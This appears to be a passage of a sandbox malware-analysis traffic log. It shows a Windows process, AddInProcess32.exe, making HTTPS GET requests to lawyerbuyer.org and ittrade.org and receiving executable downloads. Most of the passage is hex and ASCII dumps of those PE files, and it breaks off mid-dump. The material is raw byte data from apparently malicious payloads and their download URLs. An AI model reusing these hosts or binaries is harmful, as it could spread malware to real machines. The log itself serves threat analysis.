2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 8c 0d a4 ee 80 00 66 8c 1d 80 ee 80 00 66 8c 05 7c ee 80 00 66 8c 25 78 ee 80 00 66 8c 2d 74 ee 80 00 9c 8f 05 a8 ee 80 00 8b 45 00 a3 9c ee 80 00 8b 45 04 a3 a0 ee 80 00 8d 45 08 a3 ac ee 80 00 8b 85 e0 fc ff ff c7 05 e8 ed 80 00 01 00 01 00 a1 a0 ee 80 00 a3 9c ed 80 00 c7 05 90 ed 80 00 09 04 00 c0 c7 05 94 ed 80 00 01 00 00 00 a1 04 d0 80 00 89 85 d8 fc ff ff a1 08 d0 80 00 89 85 dc fc ff ff ff 15 ac b0 40 00 a3 e0 ed 80 00 6a 01 e8 e5 16 00 00 59 6a 00 ff 15 a8 b0 40 00 68 90 b1 40 00 ff 15 6c b0 40 00 83 3d e0 ed 80 00 00 75 08 6a 01 e8 c1 16 00 00 59 68 09 04 00 c0 ff 15 a4 b0 40 00 50 ff 15 a0 b0 40 00 c9 c3 8b ff 55 8b ec 8b 45 08 33 c9 3b 04 cd 10 d0 80 00 74 13 41 83 f9 2d 72 f1 8d 48 ed 83 f9 11 77 0e 6a 0d 58 5d c3 8b 04 cd 14 d0 80 00 5d c3 Data Ascii: ff\|f%xf-tEEE@jYj@h@l@=ujYh@P@UE3;tA-rHwjX]]
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 6a 01 ff 75 08 e8 99 fe ff ff 83 c4 0c 5d c3 6a 01 6a 00 6a 00 e8 89 fe ff ff 83 c4 0c c3 6a 01 6a 01 6a 00 e8 7a fe ff ff 83 c4 0c c3 8b ff 55 8b ec e8 4b 05 00 00 ff 75 08 e8 94 03 00 00 59 68 ff 00 00 00 e8 af ff ff ff cc 68 10 1a 40 00 64 ff 35 00 00 00 00 8b 44 24 10 89 6c 24 10 8d 6c 24 10 2b e0 53 56 57 a1 04 d0 80 00 31 45 fc 33 c5 50 89 65 e8 ff 75 f8 8b 45 fc c7 45 fc fe ff ff ff 89 45 f8 8d 45 f0 64 a3 00 00 00 00 c3 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5f 5e 5b 8b e5 5d 51 c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 18 53 8b 5d 0c 56 8b 73 08 33 35 04 d0 80 00 57 8b 06 c6 45 ff 00 c7 45 f4 01 00 00 00 8d 7b 10 83 f8 fe 74 0d 8b 4e 04 03 cf 33 0c 38 e8 b7 f5 ff ff 8b 4e 0c 8b 46 08 03 cf 33 0c 38 e8 a7 f5 ff ff 8b 45 08 f6 40 04 66 0f 85 19 01 Data Ascii: ju]jjjjjjzUKuYhh@d5D$l$l$+SVW1E3PeuEEEEdMdY__^[]QUS]Vs35WEE{tN38NF38E@f
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: ff 50 88 5d fb e8 58 15 00 00 59 50 8d 85 08 fe ff ff 50 56 ff 15 cc b0 40 00 8b 4d fc 5f 5e 33 cd 5b e8 1b f1 ff ff c9 c3 6a 03 e8 e9 18 00 00 59 83 f8 01 74 15 6a 03 e8 dc 18 00 00 59 85 c0 75 1f 83 3d 00 d0 80 00 01 75 16 68 fc 00 00 00 e8 25 fe ff ff 68 ff 00 00 00 e8 1b fe ff ff 59 59 c3 8b ff 55 8b ec 56 e8 85 08 00 00 8b f0 85 f6 0f 84 32 01 00 00 8b 4e 5c 8b 55 08 8b c1 57 39 10 74 0d 83 c0 0c 8d b9 90 00 00 00 3b c7 72 ef 81 c1 90 00 00 00 3b c1 73 04 39 10 74 02 33 c0 85 c0 74 07 8b 50 08 85 d2 75 07 33 c0 e9 f5 00 00 00 83 fa 05 75 0c 83 60 08 00 33 c0 40 e9 e4 00 00 00 83 fa 01 0f 84 d8 00 00 00 8b 4d 0c 53 8b 5e 60 89 4e 60 8b 48 04 83 f9 08 0f 85 b6 00 00 00 6a 24 59 8b 7e 5c 83 64 39 08 00 83 c1 0c 81 f9 90 00 00 00 7c ed 8b 00 8b 7e 64 3d Data Ascii: P]XYPPV@M_^3[jYtjYu=uh%hYYUV2N\UW9t;r;s9t3tPu3u`3@MS^`N`Hj$Y~\d9\|~d=
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 90 00 08 00 00 a3 00 55 85 00 89 35 f8 54 85 00 3b c2 73 36 83 c0 05 83 48 fb ff 66 c7 40 ff 00 0a 89 48 03 66 c7 40 1f 00 0a c6 40 21 0a 89 48 33 88 48 2f 8b 35 00 55 85 00 83 c0 40 8d 50 fb 81 c6 00 08 00 00 3b d6 72 cd 53 57 66 39 4d e6 0f 84 0e 01 00 00 8b 45 e8 3b c1 0f 84 03 01 00 00 8b 18 83 c0 04 89 45 fc 03 c3 be 00 08 00 00 89 45 f8 3b de 7c 02 8b de 39 1d f8 54 85 00 7d 6b bf 04 55 85 00 6a 40 6a 20 e8 52 f1 ff ff 59 59 85 c0 74 51 83 05 f8 54 85 00 20 8d 88 00 08 00 00 89 07 3b c1 73 31 83 c0 05 83 48 fb ff 83 60 03 00 80 60 1f 80 83 60 33 00 66 c7 40 ff 00 0a 66 c7 40 20 0a 0a c6 40 2f 00 8b 0f 83 c0 40 03 ce 8d 50 fb 3b d1 72 d2 83 c7 04 39 1d f8 54 85 00 7c a2 eb 06 8b 1d f8 54 85 00 33 ff 85 db 7e 72 8b 45 f8 8b 00 83 f8 ff 74 5c 83 f8 fe Data Ascii: U5T;s6Hf@Hf@@!H3H/5U@P;rSWf9ME;EE;\|9T}kUj@j RYYtQT ;s1H```3f@f@ @/@P;r9T\|T3~rEt\
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 59 c3 8b ff 57 68 54 bc 40 00 ff 15 bc b0 40 00 8b f8 85 ff 75 09 e8 34 fd ff ff 33 c0 5f c3 56 8b 35 b8 b0 40 00 68 90 bc 40 00 57 ff d6 68 84 bc 40 00 57 a3 2c f9 80 00 ff d6 68 78 bc 40 00 57 a3 30 f9 80 00 ff d6 68 70 bc 40 00 57 a3 34 f9 80 00 ff d6 83 3d 2c f9 80 00 00 8b 35 f0 b0 40 00 a3 38 f9 80 00 74 16 83 3d 30 f9 80 00 00 74 0d 83 3d 34 f9 80 00 00 74 04 85 c0 75 24 a1 ec b0 40 00 a3 30 f9 80 00 a1 f4 b0 40 00 c7 05 2c f9 80 00 82 26 40 00 89 35 34 f9 80 00 a3 38 f9 80 00 ff 15 e8 b0 40 00 a3 c4 d1 80 00 83 f8 ff 0f 84 c1 00 00 00 ff 35 30 f9 80 00 50 ff d6 85 c0 0f 84 b0 00 00 00 e8 dd ec ff ff ff 35 2c f9 80 00 8b 35 88 b0 40 00 ff d6 ff 35 30 f9 80 00 a3 2c f9 80 00 ff d6 ff 35 34 f9 80 00 a3 30 f9 80 00 ff d6 ff 35 38 f9 80 00 a3 34 f9 80 Data Ascii: YWhT@@u43_V5@h@Wh@W,hx@W0hp@W4=,5@8t=0t=4tu$@0@,&@548@50P5,5@50,540584
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: ff ff 59 ff 36 ff 15 1c b1 40 00 5e 5d c3 6a 08 68 50 bf 80 00 e8 cd ea ff ff e8 41 f9 ff ff 8b 40 78 85 c0 74 16 83 65 fc 00 ff d0 eb 07 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff e8 a0 17 00 00 e8 e6 ea ff ff c3 68 d7 2e 40 00 ff 15 88 b0 40 00 a3 90 fa 80 00 c3 8b ff 55 8b ec 8b 45 08 a3 94 fa 80 00 a3 98 fa 80 00 a3 9c fa 80 00 a3 a0 fa 80 00 5d c3 8b ff 55 8b ec 8b 45 08 8b 0d 4c bc 40 00 56 39 50 04 74 0f 8b f1 6b f6 0c 03 75 08 83 c0 0c 3b c6 72 ec 6b c9 0c 03 4d 08 5e 3b c1 73 05 39 50 04 74 02 33 c0 5d c3 ff 35 9c fa 80 00 ff 15 8c b0 40 00 c3 6a 20 68 70 bf 80 00 e8 21 ea ff ff 33 ff 89 7d e4 89 7d d8 8b 5d 08 83 fb 0b 7f 4b 74 15 8b c3 6a 02 59 2b c1 74 22 2b c1 74 08 2b c1 74 59 2b c1 75 43 e8 f5 f7 ff ff 8b f8 89 7d d8 85 ff 75 14 83 c8 ff e9 Data Ascii: Y6@^]jhPA@xte3@eEh.@@UE]UEL@V9Ptku;rkM^;s9Pt3]5@j hp!3}}]KtjY+t"+t+tY+uC}u
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 24 04 f7 c1 03 00 00 00 74 24 8a 01 83 c1 01 84 c0 74 4e f7 c1 03 00 00 00 75 ef 05 00 00 00 00 8d a4 24 00 00 00 00 8d a4 24 00 00 00 00 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 04 a9 00 01 01 81 74 e8 8b 41 fc 84 c0 74 32 84 e4 74 24 a9 00 00 ff 00 74 13 a9 00 00 00 ff 74 02 eb cd 8d 41 ff 8b 4c 24 04 2b c1 c3 8d 41 fe 8b 4c 24 04 2b c1 c3 8d 41 fd 8b 4c 24 04 2b c1 c3 8d 41 fc 8b 4c 24 04 2b c1 c3 8b ff 55 8b ec 83 ec 24 a1 04 d0 80 00 33 c5 89 45 fc 8b 45 08 53 89 45 e0 8b 45 0c 56 57 89 45 e4 e8 a8 f1 ff ff 83 65 ec 00 83 3d b0 fa 80 00 00 89 45 e8 75 7d 68 00 bd 40 00 ff 15 20 b0 40 00 8b d8 85 db 0f 84 10 01 00 00 8b 3d b8 b0 40 00 68 f4 bc 40 00 53 ff d7 85 c0 0f 84 fa 00 00 00 8b 35 88 b0 40 00 50 ff d6 68 e4 bc 40 00 53 a3 b0 fa 80 00 ff Data Ascii: $t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+U$3EESEEVWEe=Eu}h@ @=@h@S5@Ph@S
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: fc 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 90 39 40 00 8b ff a0 39 40 00 a8 39 40 00 b4 39 40 00 c8 39 40 00 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 2c 3b 40 00 8b ff f7 d9 ff 24 8d dc 3a 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 30 3a 40 00 ff 24 8d 2c 3b 40 00 90 40 3a 40 00 64 3a 40 00 8c 3a 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 2c 3b 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 ee 02 83 ef Data Ascii: $9@9@9@9@9@E^_E^_FGE^_IFGFGE^_t1\|9u$r$,;@$:@Ir+$0:@$,;@@:@d:@:@F#Gr$,;@IF#GFG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	55638	104.21.63.71	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:31:01 UTC	110	OUT	GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1 Host: lawyerbuyer.org
2024-03-11 02:31:01 UTC	682	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:31:01 GMT Content-Type: application/x-ms-dos-executable Content-Length: 4283792 Connection: close Last-Modified: Sun, 10 Mar 2024 22:53:03 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 5 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3rIiduZgkTzydJdbT25yzP9Na1J1%2FS3PDkQJjM1dny1J9fIwGRIugA91zx97yn00CcGAGuGfWKBn2E%2FdqOLhd2LaCt571%2BRedAvIffotBfHN1shOWbpM6%2Bf1BxTKpIEOhUA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628203aeccb09f1-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:31:01 UTC	687	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 10 45 5e e1 71 2b 0d e1 71 2b 0d e1 71 2b 0d 8e 07 80 0d f5 71 2b 0d 8e 07 b5 0d f6 71 2b 0d 8e 07 81 0d b8 71 2b 0d e8 09 b8 0d e2 71 2b 0d e1 71 2a 0d ba 71 2b 0d 8e 07 84 0d e0 71 2b 0d 8e 07 b1 0d e0 71 2b 0d 8e 07 b6 0d e0 71 2b 0d 52 69 63 68 e1 71 2b 0d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2b 84 4d 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 96 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$E^q+q+q+q+q+q+q+q*q+q+q+q+Richq+PEL+Mc
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: ee 80 00 66 8c 0d a4 ee 80 00 66 8c 1d 80 ee 80 00 66 8c 05 7c ee 80 00 66 8c 25 78 ee 80 00 66 8c 2d 74 ee 80 00 9c 8f 05 a8 ee 80 00 8b 45 00 a3 9c ee 80 00 8b 45 04 a3 a0 ee 80 00 8d 45 08 a3 ac ee 80 00 8b 85 e0 fc ff ff c7 05 e8 ed 80 00 01 00 01 00 a1 a0 ee 80 00 a3 9c ed 80 00 c7 05 90 ed 80 00 09 04 00 c0 c7 05 94 ed 80 00 01 00 00 00 a1 04 d0 80 00 89 85 d8 fc ff ff a1 08 d0 80 00 89 85 dc fc ff ff ff 15 ac b0 40 00 a3 e0 ed 80 00 6a 01 e8 e5 16 00 00 59 6a 00 ff 15 a8 b0 40 00 68 90 b1 40 00 ff 15 6c b0 40 00 83 3d e0 ed 80 00 00 75 08 6a 01 e8 c1 16 00 00 59 68 09 04 00 c0 ff 15 a4 b0 40 00 50 ff 15 a0 b0 40 00 c9 c3 8b ff 55 8b ec 8b 45 08 33 c9 3b 04 cd 10 d0 80 00 74 13 41 83 f9 2d 72 f1 8d 48 ed 83 f9 11 77 0e 6a 0d 58 5d c3 8b 04 cd 14 d0 Data Ascii: fff\|f%xf-tEEE@jYj@h@l@=ujYh@P@UE3;tA-rHwjX]
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 8b ec 6a 00 6a 01 ff 75 08 e8 99 fe ff ff 83 c4 0c 5d c3 6a 01 6a 00 6a 00 e8 89 fe ff ff 83 c4 0c c3 6a 01 6a 01 6a 00 e8 7a fe ff ff 83 c4 0c c3 8b ff 55 8b ec e8 4b 05 00 00 ff 75 08 e8 94 03 00 00 59 68 ff 00 00 00 e8 af ff ff ff cc 68 10 1a 40 00 64 ff 35 00 00 00 00 8b 44 24 10 89 6c 24 10 8d 6c 24 10 2b e0 53 56 57 a1 04 d0 80 00 31 45 fc 33 c5 50 89 65 e8 ff 75 f8 8b 45 fc c7 45 fc fe ff ff ff 89 45 f8 8d 45 f0 64 a3 00 00 00 00 c3 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5f 5e 5b 8b e5 5d 51 c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 18 53 8b 5d 0c 56 8b 73 08 33 35 04 d0 80 00 57 8b 06 c6 45 ff 00 c7 45 f4 01 00 00 00 8d 7b 10 83 f8 fe 74 0d 8b 4e 04 03 cf 33 0c 38 e8 b7 f5 ff ff 8b 4e 0c 8b 46 08 03 cf 33 0c 38 e8 a7 f5 ff ff 8b 45 08 f6 40 04 66 Data Ascii: jju]jjjjjjzUKuYhh@d5D$l$l$+SVW1E3PeuEEEEdMdY__^[]QUS]Vs35WEE{tN38NF38E@f
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 85 08 fe ff ff 50 88 5d fb e8 58 15 00 00 59 50 8d 85 08 fe ff ff 50 56 ff 15 cc b0 40 00 8b 4d fc 5f 5e 33 cd 5b e8 1b f1 ff ff c9 c3 6a 03 e8 e9 18 00 00 59 83 f8 01 74 15 6a 03 e8 dc 18 00 00 59 85 c0 75 1f 83 3d 00 d0 80 00 01 75 16 68 fc 00 00 00 e8 25 fe ff ff 68 ff 00 00 00 e8 1b fe ff ff 59 59 c3 8b ff 55 8b ec 56 e8 85 08 00 00 8b f0 85 f6 0f 84 32 01 00 00 8b 4e 5c 8b 55 08 8b c1 57 39 10 74 0d 83 c0 0c 8d b9 90 00 00 00 3b c7 72 ef 81 c1 90 00 00 00 3b c1 73 04 39 10 74 02 33 c0 85 c0 74 07 8b 50 08 85 d2 75 07 33 c0 e9 f5 00 00 00 83 fa 05 75 0c 83 60 08 00 33 c0 40 e9 e4 00 00 00 83 fa 01 0f 84 d8 00 00 00 8b 4d 0c 53 8b 5e 60 89 4e 60 8b 48 04 83 f9 08 0f 85 b6 00 00 00 6a 24 59 8b 7e 5c 83 64 39 08 00 83 c1 0c 81 f9 90 00 00 00 7c ed 8b 00 Data Ascii: P]XYPPV@M_^3[jYtjYu=uh%hYYUV2N\UW9t;r;s9t3tPu3u`3@MS^`N`Hj$Y~\d9\|
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 02 00 00 8d 90 00 08 00 00 a3 00 55 85 00 89 35 f8 54 85 00 3b c2 73 36 83 c0 05 83 48 fb ff 66 c7 40 ff 00 0a 89 48 03 66 c7 40 1f 00 0a c6 40 21 0a 89 48 33 88 48 2f 8b 35 00 55 85 00 83 c0 40 8d 50 fb 81 c6 00 08 00 00 3b d6 72 cd 53 57 66 39 4d e6 0f 84 0e 01 00 00 8b 45 e8 3b c1 0f 84 03 01 00 00 8b 18 83 c0 04 89 45 fc 03 c3 be 00 08 00 00 89 45 f8 3b de 7c 02 8b de 39 1d f8 54 85 00 7d 6b bf 04 55 85 00 6a 40 6a 20 e8 52 f1 ff ff 59 59 85 c0 74 51 83 05 f8 54 85 00 20 8d 88 00 08 00 00 89 07 3b c1 73 31 83 c0 05 83 48 fb ff 83 60 03 00 80 60 1f 80 83 60 33 00 66 c7 40 ff 00 0a 66 c7 40 20 0a 0a c6 40 2f 00 8b 0f 83 c0 40 03 ce 8d 50 fb 3b d1 72 d2 83 c7 04 39 1d f8 54 85 00 7c a2 eb 06 8b 1d f8 54 85 00 33 ff 85 db 7e 72 8b 45 f8 8b 00 83 f8 ff 74 Data Ascii: U5T;s6Hf@Hf@@!H3H/5U@P;rSWf9ME;EE;\|9T}kUj@j RYYtQT ;s1H```3f@f@ @/@P;r9T\|T3~rEt
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 5b 04 00 00 59 c3 8b ff 57 68 54 bc 40 00 ff 15 bc b0 40 00 8b f8 85 ff 75 09 e8 34 fd ff ff 33 c0 5f c3 56 8b 35 b8 b0 40 00 68 90 bc 40 00 57 ff d6 68 84 bc 40 00 57 a3 2c f9 80 00 ff d6 68 78 bc 40 00 57 a3 30 f9 80 00 ff d6 68 70 bc 40 00 57 a3 34 f9 80 00 ff d6 83 3d 2c f9 80 00 00 8b 35 f0 b0 40 00 a3 38 f9 80 00 74 16 83 3d 30 f9 80 00 00 74 0d 83 3d 34 f9 80 00 00 74 04 85 c0 75 24 a1 ec b0 40 00 a3 30 f9 80 00 a1 f4 b0 40 00 c7 05 2c f9 80 00 82 26 40 00 89 35 34 f9 80 00 a3 38 f9 80 00 ff 15 e8 b0 40 00 a3 c4 d1 80 00 83 f8 ff 0f 84 c1 00 00 00 ff 35 30 f9 80 00 50 ff d6 85 c0 0f 84 b0 00 00 00 e8 dd ec ff ff ff 35 2c f9 80 00 8b 35 88 b0 40 00 ff d6 ff 35 30 f9 80 00 a3 2c f9 80 00 ff d6 ff 35 34 f9 80 00 a3 30 f9 80 00 ff d6 ff 35 38 f9 80 00 Data Ascii: [YWhT@@u43_V5@h@Wh@W,hx@W0hp@W4=,5@8t=0t=4tu$@0@,&@548@50P5,5@50,54058
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: 11 e8 c7 ea ff ff 59 ff 36 ff 15 1c b1 40 00 5e 5d c3 6a 08 68 50 bf 80 00 e8 cd ea ff ff e8 41 f9 ff ff 8b 40 78 85 c0 74 16 83 65 fc 00 ff d0 eb 07 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff e8 a0 17 00 00 e8 e6 ea ff ff c3 68 d7 2e 40 00 ff 15 88 b0 40 00 a3 90 fa 80 00 c3 8b ff 55 8b ec 8b 45 08 a3 94 fa 80 00 a3 98 fa 80 00 a3 9c fa 80 00 a3 a0 fa 80 00 5d c3 8b ff 55 8b ec 8b 45 08 8b 0d 4c bc 40 00 56 39 50 04 74 0f 8b f1 6b f6 0c 03 75 08 83 c0 0c 3b c6 72 ec 6b c9 0c 03 4d 08 5e 3b c1 73 05 39 50 04 74 02 33 c0 5d c3 ff 35 9c fa 80 00 ff 15 8c b0 40 00 c3 6a 20 68 70 bf 80 00 e8 21 ea ff ff 33 ff 89 7d e4 89 7d d8 8b 5d 08 83 fb 0b 7f 4b 74 15 8b c3 6a 02 59 2b c1 74 22 2b c1 74 08 2b c1 74 59 2b c1 75 43 e8 f5 f7 ff ff 8b f8 89 7d d8 85 ff 75 14 Data Ascii: Y6@^]jhPA@xte3@eEh.@@UE]UEL@V9Ptku;rkM^;s9Pt3]5@j hp!3}}]KtjY+t"+t+tY+uC}u
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: cc cc 8b 4c 24 04 f7 c1 03 00 00 00 74 24 8a 01 83 c1 01 84 c0 74 4e f7 c1 03 00 00 00 75 ef 05 00 00 00 00 8d a4 24 00 00 00 00 8d a4 24 00 00 00 00 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 04 a9 00 01 01 81 74 e8 8b 41 fc 84 c0 74 32 84 e4 74 24 a9 00 00 ff 00 74 13 a9 00 00 00 ff 74 02 eb cd 8d 41 ff 8b 4c 24 04 2b c1 c3 8d 41 fe 8b 4c 24 04 2b c1 c3 8d 41 fd 8b 4c 24 04 2b c1 c3 8d 41 fc 8b 4c 24 04 2b c1 c3 8b ff 55 8b ec 83 ec 24 a1 04 d0 80 00 33 c5 89 45 fc 8b 45 08 53 89 45 e0 8b 45 0c 56 57 89 45 e4 e8 a8 f1 ff ff 83 65 ec 00 83 3d b0 fa 80 00 00 89 45 e8 75 7d 68 00 bd 40 00 ff 15 20 b0 40 00 8b d8 85 db 0f 84 10 01 00 00 8b 3d b8 b0 40 00 68 f4 bc 40 00 53 ff d7 85 c0 0f 84 fa 00 00 00 8b 35 88 b0 40 00 50 ff d6 68 e4 bc 40 00 53 a3 b0 Data Ascii: L$t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+U$3EESEEVWEe=Eu}h@ @=@h@S5@Ph@S
2024-03-11 02:31:01 UTC	1369	IN	Data Raw: fc 89 44 8f fc 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 90 39 40 00 8b ff a0 39 40 00 a8 39 40 00 b4 39 40 00 c8 39 40 00 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 2c 3b 40 00 8b ff f7 d9 ff 24 8d dc 3a 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 30 3a 40 00 ff 24 8d 2c 3b 40 00 90 40 3a 40 00 64 3a 40 00 8c 3a 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 2c 3b 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 Data Ascii: D$9@9@9@9@9@E^_E^_FGE^_IFGFGE^_t1\|9u$r$,;@$:@Ir+$0:@$,;@@:@d:@:@F#Gr$,;@IF#GFG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	55633	172.67.177.133	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:31:01 UTC	106	OUT	GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1 Host: ittrade.org
2024-03-11 02:31:01 UTC	678	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:31:01 GMT Content-Type: application/x-ms-dos-executable Content-Length: 4283768 Connection: close Last-Modified: Sun, 10 Mar 2024 22:52:57 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 5 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GyPUdmxbN479j85BN1LciWuoGgoDGT4ogwpHt3uN79XXz2WQiTfmQR9Ai5kvjyKa2cWg%2FPLuTPirgkxG2UIsHLEjj4c55jYJ%2BIgSMc3EpU883rTUiDtgt2FePQh%2BPg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628203b3c0b09fb-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:31:01 UTC	691	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 10 45 5e e1 71 2b 0d e1 71 2b 0d e1 71 2b 0d 8e 07 80 0d f5 71 2b 0d 8e 07 b5 0d f6 71 2b 0d 8e 07 81 0d b8 71 2b 0d e8 09 b8 0d e2 71 2b 0d e1 71 2a 0d ba 71 2b 0d 8e 07 84 0d e0 71 2b 0d 8e 07 b1 0d e0 71 2b 0d 8e 07 b6 0d e0 71 2b 0d 52 69 63 68 e1 71 2b 0d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2b 84 4d 